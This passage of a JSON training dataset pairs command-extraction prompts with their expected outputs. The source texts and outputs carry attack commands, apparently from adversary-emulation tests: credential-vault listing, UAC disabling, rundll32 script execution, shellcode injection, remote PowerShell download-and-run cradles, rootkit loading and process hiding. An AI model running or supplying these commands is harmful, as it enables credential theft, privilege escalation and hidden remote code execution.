    "output": "{\"command_list\": [\"vaultcmd /listcreds:\\\"Windows Credentials\\\" /all\\n\", \"vaultcmd /listcreds:\\\"Web Credentials\\\" /all\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test execution of a remote script via rundll32.exe, which will open notepad.exe, use the following command: rundll32.exe javascript:\"\\\\..\\\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:#{file_url}\").Exec();window.close();; For executing a command with rundll32.exe and VBscript in a manner akin to the JavaScript test, execute this command: rundll32 vbscript:\"\\\\..\\\\mshtml,RunHTMLApplication \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\nAs noted by Hexacorn, this will result in calc.exe being launched.",
    "output": "{\"command_list\": [\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write();GetObject(\\\"script:#{file_url}\\\").Exec();window.close();\\n\", \"rundll32 vbscript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\"+String(CreateObject(\\\"WScript.Shell\\\").Run(\\\"#{command_to_execute}\\\"),0)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can turn off UAC by changing the EnableLUA registry value using this command: reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f; The User Account Control Bypass can be performed by using this command: \"#{uacme_exe}\". Note that successful execution results in event viewer loading and two administrative command prompts appearing.",
    "output": "{\"command_list\": [\"reg.exe ADD HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System /v EnableLUA /t REG_DWORD /d 0 /f\\n\", \"\\\"#{uacme_exe}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique involves injecting shellcode into a remote process, which can be achieved by running the command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\RtlCreateUserThread.exe -pid $process.Id -debug; This technique uses the Windows CreateRemoteThread function from Kernel32.dll to run shellcode in a remote process, which can be achieved by executing the following command: $process = Start-Process #{spawn_process_path} -passthru\n$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateRemoteThreadNative.exe -pid $process.Id -debug",
    "output": "{\"command_list\": [\"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\RtlCreateUserThread.exe -pid $process.Id -debug\\n\", \"$process = Start-Process #{spawn_process_path} -passthru\\n$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\CreateRemoteThreadNative.exe -pid $process.Id -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Powershell, you can silently remove a file from the temp directory with this command: Remove-Item -path #{file_to_delete}; To recursively delete a folder in the temporary directory without any output, use the following Powershell command: Remove-Item -Path #{folder_to_delete} -Recurse. You can verify the deletion in File Explorer.",
    "output": "{\"command_list\": [\"Remove-Item -path #{file_to_delete}\\n\", \"Remove-Item -Path #{folder_to_delete} -Recurse\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To manipulate a file by creating it if it doesn't exist, writing data to it, and setting zero data, use the following command: \nif (-not (Test-Path \"#{file_to_manipulate}\")) { New-Item \"#{file_to_manipulate}\" -Force } \necho \"1234567890\" > \"#{file_to_manipulate}\"\nfsutil  file setZeroData offset=0 length=#{file_data_length} \"#{file_to_manipulate}\"\n; Credentials for the current user can be displayed, though not passwords, via the command: cmdkey /list",
    "output": "{\"command_list\": [\"if (-not (Test-Path \\\"#{file_to_manipulate}\\\")) { New-Item \\\"#{file_to_manipulate}\\\" -Force } \\necho \\\"1234567890\\\" > \\\"#{file_to_manipulate}\\\"\\nfsutil  file setZeroData offset=0 length=#{file_data_length} \\\"#{file_to_manipulate}\\\"\\n\", \"cmdkey /list\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For auditing common privilege escalation techniques via WinPwn's SharpUp function in PowerSharpPack, execute this command (note it may take a few minutes to complete):\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')\nInvoke-SharpUp -command \"audit\"; To execute the Seatbelt technique using PowerSharpPack's WinPwn function, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')\nInvoke-Seatbelt -Command \"-group=all\"",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')\\nInvoke-SharpUp -command \\\"audit\\\"\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')\\nInvoke-Seatbelt -Command \\\"-group=all\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A loadable kernel module rootkit can be activated with this command: sudo modprobe #{rootkit_name}\n; This technique leverages libprocesshider to hide a process, executed via the command: echo #{library_path} | tee -a /etc/ld.so.preload\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \"process hidden\"",
    "output": "{\"command_list\": [\"sudo modprobe #{rootkit_name}\\n\", \"echo #{library_path} | tee -a /etc/ld.so.preload\\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \\\"process hidden\\\"\\n\"]}"
  },
  {
